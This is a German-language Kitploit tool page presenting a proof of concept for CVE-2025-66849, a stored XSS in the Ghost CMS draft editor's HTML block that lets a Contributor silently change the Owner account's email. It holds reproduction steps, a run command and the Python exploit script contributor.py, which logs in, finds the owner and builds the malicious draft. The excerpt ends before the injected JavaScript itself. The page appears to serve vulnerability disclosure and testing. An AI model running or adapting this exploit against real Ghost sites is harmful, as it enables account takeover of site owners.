Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-66849 — Ghost CMS Privilege Escalation PoC | Kitploit
Tools/GitHubGitHub/wojtekchwala/cve-2025-66849
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

Ghost CMS Privilege Escalation PoC

Repository anzeigen
9vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-66849

Ghost CMS Privilege Escalation PoC (Proof of Concept zur Privilegienausweitung)

Zusammenfassung

In Ghost Foundation Ghost CMS bis Version 6.4.0 versäumt der HTML-Block im Beitragsentwurf-Editor, benutzereingegebene Inhalte ordnungsgemäß zu bereinigen oder zu kodieren, was zu einer gespeicherten Cross-Site-Scripting (XSS)-Schwachstelle führt. Ein Benutzer mit Contributor-Rechten kann beliebiges JavaScript in einen Entwurf injizieren, das bei Ansicht durch das Owner-Konto ausgeführt wird. Dadurch kann der Angreifer privilegierte Aktionen im Kontext des Owners durchführen.

Schwachstellenübersicht

Schweregrad: Hoch

Betroffene Versionen: Ghost 6.4.0 (Stand: 20. Oktober 2025) – Ghost CMS bis 6.4.0

Schritte zur Reproduktion

Um die Schwachstelle zu demonstrieren, muss eine lokale Ghost CMS-Instanz mit zwei Konten eingerichtet werden:

  1. Owner-Konto – wird während der Ghost-Installation automatisch erstellt.

  2. Contributor-Konto – wird vom Owner durch Einladen eines neuen Benutzers erstellt. Ghost sendet einen Magic Link an die E-Mail-Adresse des Contributors, um die Kontoerstellung abzuschließen.

Da dies lokal durchgeführt wird, sollte ein E-Mail-Empfangstool wie MailHog installiert werden (z. B. über Docker). Dadurch kann der von Ghost gesendete Magic Link lokal abgefangen werden, sodass der Contributor sein Konto selbst aktivieren kann.

Sobald beide Konten aktiv sind, kann das Exploit-Skript (contributor.py) verwendet werden. Das Skript benötigt die Anmeldedaten des Contributors sowie die neue E-Mail-Adresse, die nach erfolgreichem Exploit dem Owner-Konto zugewiesen wird.

Die Skriptparameter sind:

-u / --username      Benutzername des Contributors (E-Mail)
-p / --password      Passwort des Contributors
-e / --new-email     Neue E-Mail-Adresse, die im Owner-Konto gesetzt werden soll
--url                Ghost-Instanz-URL (optional)

Um das Skript im Terminal auszuführen, verwenden Sie:

python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

Bei Ausführung erstellt das Skript automatisch einen neuen Beitragsentwurf, der die schädliche JavaScript-Nutzlast im anfälligen HTML-Block enthält.

Um das gespeicherte XSS auszulösen, muss der Owner den Entwurf nur in der Vorschau ansehen, indem er ihn im Ghost-Admin-Panel öffnet und auf „Preview“ klickt. Das injizierte Skript wird im Hintergrund mit den Rechten des Owners ausgeführt, und der Owner wird nicht benachrichtigt, dass seine E-Mail-Adresse geändert wurde.

import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None
Tool herunterladen